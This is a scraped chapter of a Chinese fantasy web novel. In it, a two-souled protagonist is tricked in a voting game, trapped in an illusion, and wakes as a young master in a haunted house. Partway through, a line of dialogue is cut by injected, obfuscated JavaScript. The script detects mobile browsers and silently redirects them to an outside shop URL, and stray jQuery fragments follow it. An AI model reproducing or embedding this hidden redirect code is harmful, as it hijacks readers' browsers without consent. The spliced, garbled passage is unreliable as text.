文趣网 > 其他小说 > 今天也有撩到小猫吗 > 6. 幻境
    岁时吟自以为和蔼阳光的笑,到了别人眼里反倒成了催命厉鬼,他的手指纤细修长,轻叩着铺着白布的桌面,声音闷闷的,给本就沉默的空气平添一丝丝“玩味”。

    白雪霁担忧地看着岁时吟,却没说什么,他心知大祖宗处理任何事都能游刃有余,这次也肯定一样,可心里却仍然萌生出一分不安,他说不上来这是一种什么感觉……

    时间一分一秒的流过,距离结束投票还有最后五分钟,那微胖男人已经坐不住了,再次抢过身边外卖员的纸笔,在对方的纸上写下“9”。

    岁时吟脸上的笑凝固了,序号9是谁,自然不言而喻。

    投他就算了,现在还要祸害温碎?

    好啊,这样玩,那我玩死你又如何?

    岁时吟心里泛起狠劲来,面色从容地掐了白雪霁的大腿,跟对方比划了一个六。

    白雪霁思索半天没想明白这个手势什么意思,直到岁时吟从一比划到六,他才明白这是数字六的意思。

    大祖宗想让他写数字六。

    岁时吟又在他腿上写了一个字,白雪霁顿时心领神会,开始演戏,“诶呀,不好意思,我的纸片放反了,写成六了怎么办。”

    顿时一群人的脸色“唰”一下变得煞白。

    岁时吟开始装好人打圆场,“既然如此,那我们就投四票10,四票6,和两票9吧。”

    眼看时间还剩下一分钟,剩下两个刚刚差点投岁时吟的都不约而同地投了6。

    现在的票来到了四票10、三票6和一票9,只要温碎投了6,那么他将纸片倒转写上9,等票公布结果,那个投温碎的微胖男人6号,一定会被投出去。

    岁时吟将上半身子贴向温碎,他想让温碎写6,可还没如愿靠上去,心头便产生了一种被剥离的错乱感。

    他突然感受不到小时吟的存在了……

    “小时吟?乖乖时吟?”岁时吟在心里喊了几声,没人回应,心急如焚,“乖乖时吟?不要吓我,你出来。”

    还是无人回应。

    岁时吟感觉自己身上就像是缺了一块肉一样难受,他惶恐不安,只能期盼地看向温碎,试图借助别的东西来缓解。

    他看到温碎微动的手指,在纸上从上到下划了一道,又在这道旁边画了一个圈。

    温碎居然在纸条上写了“10”……

    不对,不对……

    怎么会这样?温碎居然要把他投出去?

    “温……”岁时吟想呼唤对方的名字,只吐了一个字,便见对方抬手主动抚上他的左脸。

    他下意识地握住那只手,温顺地蹭了两下,蹙起的眉头却含着不解。

    心底想起了一个声音:温碎会这样对他吗?

    “你,真的是,温碎吗?”岁时吟的手加了几分力度,将那只手扒开,“到底是什么时候,在我眼皮子底下……”

    温碎无言一笑,那笑声微扬,似是带着嘲弄和胜券在握的自傲,“gameover~”

    五票10、三票6、一票9,结局已定。

    岁时吟被票出了局……

    白雪霁突然觉得自家大祖宗很奇怪,大祖宗坐下的时候有个爱好,那就是跷二郎腿,现在居然主动把二郎腿放下就算了,还温柔地扯他袖子。

    “雪,雪霁……”小时吟控制着身体,连带着眉眼都柔和了下来,声音软软的,“我,我,我找不到他了。”

    小时吟怎么出来了……

    温碎也感受到了身边人的异样,可他没吭声,耷拉下眼皮,在纸上写下数字“6”。

    白雪霁听得一头雾水,但他能从这结巴的话里听出这是岁时吟的另一个人格。

    “你是想说,大祖宗找不到了,对吧。”

    小时吟点点头,急得眼泪顺着脸颊往下落,“我,我不知,不知道,他去哪里了……他突然,消失了。”

    白雪霁摸了摸自己的口袋,想找纸巾,却摸了个空。

    小时吟忽然感觉后颈处痒痒的,好像有人,他一回头,有人用拇指为他抹眼泪。

    “温,温碎……”小时吟又惊又喜,心里的那份空缺暂时被安抚了下去,“帮我好不好,你帮帮我吧。”

    处在幕后的衔羿透过水镜看着这一幕,心里畅快了不少,“翠花,我为你报仇了!”

    过程还是比较顺利的,他想在游戏中途把岁时吟转移到别的地方去,再复制一个傀儡出来。

    可最让他没想到的是,岁时吟居然是一体双魂,这两个魂还是一个魂魄硬生生被撕裂成两半出来的。

    所以在他实施计划的过程中,只是把岁时吟的主导魂转移走了,最后即便这个主导魂魄发现了自己被转移,周围的一切都是假的,也已经晚了。

    等在幻境里迷失,再也找不到自我,以为自己是幻境中的NPC,还有谁能阻止他们的计划?

    他转身回望另一侧的水镜,镜中人正走在一片茫茫大雾之中。

    那人有张白皙消瘦的脸,不算俊美,可多看几眼也能称得上耐看,左眉上有一颗小痣,浑身上下透露着一种让人无法言说的死气。

    正是岁时吟。

    岁时吟停下脚步,只觉得脑子里混乱得快要炸了,他捂着脑袋突然跪在地上不住挣扎。

    一阵天旋地转过后,他平静了下来,扶着地站起身,呢喃道:“我是……谁?”

    大雾散去,他面前现出一道门,他笑了笑,幽幽说:“我是,白,雪,瑞。”

    岁时吟一步一步走向那扇门,最后消失在了门里。

    *

    “少爷,少爷?”说话的大娘迈着急步子在院里前后找了两遭,还是没见着她呼唤老半天的少爷。

    墙角疯草丛生,长了半人高,整个院子虽说不大,但比起普通人家已能称得上是富贵。

    这院里只住了两个人,一个是那找人的大娘,一个是口中的少爷。

    不远处窸窸窣窣的声响传来,大娘回身去看,提着心劲儿看到了晃动的草丛。

    大娘咽了咽口水,脚下的步子慢悠悠,在离那草丛一两米远的地方停了下来,“少,少爷,是少爷吗?您可别吓老奴啊……”

    草摇得更厉害了,大娘吓得连连后退,直到看到草里弹出半个少年郎的身子,她才松了口气。

    “少爷,老奴年纪大了,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714758|208502||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不禁吓……”

    那少年郎手里揪着一只兔子,俯身随意拍了拍略带灰尘的衣摆,掠过大娘往厨屋走。

    “年纪大就回去颐养天年。”少年郎转头瞥了大娘一眼,语气冷冽,“不禁吓?呵,不经吓就别来鬼宅做奴。”

    大娘躬身跟在少年郎身后,一言不发。

    那少年郎说的没错,这里的确是座鬼宅,是白家老太爷迁居到白城的第一个落脚处。

    此后三月白老太爷一儿一女先后失踪,无人知其踪迹。

    白老太爷找了风水师前来,风水师只道了四字:触怒梅神。

    梅神乃是白城独供的神明,梅神位列四君子之一,有花中花魁的美称。

    因此白城多种梅树,且只有白梅,他们认为红梅是梅神留下的血泪,乃是不祥之物,而白梅为梅神合眼望众生的表象。

    从而颠倒习俗,出嫁娶亲白城人用白,丧葬则用红。

    此习俗为外界所不能忍也,白城便没有与外部通婚的习俗。

    白老太爷从外地搬迁于此为官,习俗也与外人无异,曾有人提醒白老太爷,可白老太爷不当回事,自然触怒了梅神。

    此宅接又连几人离奇死亡,还查不出缘由来,白老太爷便信了这梅神。

    那风水师将此宅封住,白老太爷也搬了家,终于算是消停了。

    而这少年郎便是白老太爷的孙子辈,名唤白雪瑞。

    少爷刚将兔子丢进笼子里,见那大娘还在身后跟着,莫名一问:“你知道我叫什么吗?”

    大娘以为自己听错了话,可还是顺着回答:“少爷姓白,名唤,雪瑞。”

    少爷揉了揉发胀的眉心,他总感觉自己好像不叫这个名字,接着脑海里蹦出来三个字来——

    岁时吟……

    岁时吟是谁?

    少爷不解,继续问大娘:“你可知,岁时吟是何人?”

    “不知。”大娘答。

    “那我能改名吗?”少爷看着大娘,一脸真切地说,“就比方说,我以后就叫岁时吟。”

    大娘汗颜,一时间不敢说好,也不敢说不好。

    她是白老爷买来伺候白少爷的,按理说应该向着白老爷,这大逆不道的话肯定不能拍板叫好。

    可她在这儿待了三天,又发现白老爷对这位白少爷可谓是不管不顾,她一个老婆子活了大半辈子,第一次见米缸里没有米,全是老鼠啃得洞。

    大娘猜不透这少爷的心思,也就不敢轻举妄动。

    不仅如此,这白少爷在这死人地方还天天吃肉,前天老鼠肉,昨天麻雀肉,今天运气不错逮了只兔子。

    岁时吟叹了口气,“算了,你若要跟着我吃饭,扒皮会吗?把这兔子处理了去。”

    大娘点点头照做。

    岁时吟一甩袖子便出门去,忽而他见远处墙头有一道黑色影子。

    隔得太远,他看不太清。

    那影子朝他“喵”了两声,从墙头一跃而下,四条腿跑得飞快,朝他过来。

    岁时吟舔了舔嘴唇,“这年头还有主动送上门的吃的?”

    可惜了,听人说猫肉是酸的,并不好吃。